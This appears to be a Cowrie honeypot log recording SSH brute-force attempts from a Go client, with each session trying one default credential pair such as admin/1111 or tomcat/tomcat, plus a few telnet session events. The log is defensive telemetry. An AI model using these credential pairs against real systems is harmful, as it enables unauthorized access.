{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43878,"dst_ip":"10.17.0.5","dst_port":22,"session":"600563535fb5","protocol":"ssh","message":"New connection: 45.153.34.112:43878 (10.17.0.5:22) [session: 600563535fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:31.397574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:31.402313Z","src_ip":"45.153.34.112","session":"600563535fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:31.484888Z","src_ip":"45.153.34.112","session":"600563535fb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:31.738638Z","src_ip":"45.153.34.112","session":"600563535fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:32.825018Z","src_ip":"45.153.34.112","session":"600563535fb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43900,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c19697a17d4","protocol":"ssh","message":"New connection: 45.153.34.112:43900 (10.17.0.5:22) [session: 7c19697a17d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:35.025889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:35.031154Z","src_ip":"45.153.34.112","session":"7c19697a17d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:35.117376Z","src_ip":"45.153.34.112","session":"7c19697a17d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:35.369715Z","src_ip":"45.153.34.112","session":"7c19697a17d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:36.466801Z","src_ip":"45.153.34.112","session":"7c19697a17d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43910,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c71bd1f29bf","protocol":"ssh","message":"New connection: 45.153.34.112:43910 (10.17.0.5:22) [session: 0c71bd1f29bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:38.537209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:38.542507Z","src_ip":"45.153.34.112","session":"0c71bd1f29bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:38.629283Z","src_ip":"45.153.34.112","session":"0c71bd1f29bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:38.877317Z","src_ip":"45.153.34.112","session":"0c71bd1f29bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:39.962671Z","src_ip":"45.153.34.112","session":"0c71bd1f29bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.767362356185913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:40.075833Z","src_ip":"192.119.13.58","session":"02d77fddbc97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.39190411567688,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:40.930205Z","src_ip":"192.119.13.58","session":"3fd2fa206c97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50624,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba1f0151f679","protocol":"ssh","message":"New connection: 45.153.34.112:50624 (10.17.0.5:22) [session: ba1f0151f679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:42.238894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:42.247707Z","src_ip":"45.153.34.112","session":"ba1f0151f679","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:42.336373Z","src_ip":"45.153.34.112","session":"ba1f0151f679","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:42.583093Z","src_ip":"45.153.34.112","session":"ba1f0151f679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:43.668921Z","src_ip":"45.153.34.112","session":"ba1f0151f679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50630,"dst_ip":"10.17.0.5","dst_port":22,"session":"12379a92ca0e","protocol":"ssh","message":"New connection: 45.153.34.112:50630 (10.17.0.5:22) [session: 12379a92ca0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:45.650825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:45.656672Z","src_ip":"45.153.34.112","session":"12379a92ca0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:45.740293Z","src_ip":"45.153.34.112","session":"12379a92ca0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:45.989258Z","src_ip":"45.153.34.112","session":"12379a92ca0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:47.074586Z","src_ip":"45.153.34.112","session":"12379a92ca0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43736,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e5136765fba","protocol":"telnet","message":"New connection: 192.119.13.58:43736 (10.17.0.5:23) [session: 9e5136765fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:48.001043Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":50638,"dst_ip":"10.17.0.5","dst_port":22,"session":"b35bc65cd12a","protocol":"ssh","message":"New connection: 45.153.34.112:50638 (10.17.0.5:22) [session: b35bc65cd12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:49.307513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:49.312333Z","src_ip":"45.153.34.112","session":"b35bc65cd12a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:49.395151Z","src_ip":"45.153.34.112","session":"b35bc65cd12a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:49.641575Z","src_ip":"45.153.34.112","session":"b35bc65cd12a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:50.727353Z","src_ip":"45.153.34.112","session":"b35bc65cd12a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33112,"dst_ip":"10.17.0.5","dst_port":23,"session":"09e3454768cd","protocol":"telnet","message":"New connection: 192.119.13.58:33112 (10.17.0.5:23) [session: 09e3454768cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:52.102652Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43266,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcc74d3e48b7","protocol":"ssh","message":"New connection: 45.153.34.112:43266 (10.17.0.5:22) [session: dcc74d3e48b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:52.993986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:52.999365Z","src_ip":"45.153.34.112","session":"dcc74d3e48b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:53.082099Z","src_ip":"45.153.34.112","session":"dcc74d3e48b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:53.333827Z","src_ip":"45.153.34.112","session":"dcc74d3e48b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.3149151802063,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:53.937580Z","src_ip":"192.119.13.58","session":"d7cdb14b1f68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:54.424088Z","src_ip":"45.153.34.112","session":"dcc74d3e48b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43280,"dst_ip":"10.17.0.5","dst_port":22,"session":"631af157b108","protocol":"ssh","message":"New connection: 45.153.34.112:43280 (10.17.0.5:22) [session: 631af157b108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:56.642022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:56.647086Z","src_ip":"45.153.34.112","session":"631af157b108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:56.730004Z","src_ip":"45.153.34.112","session":"631af157b108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:56.979299Z","src_ip":"45.153.34.112","session":"631af157b108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.253430128097534,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:01:57.422219Z","src_ip":"192.119.13.58","session":"1f3e56bd4c0c","protocol":"telnet"}
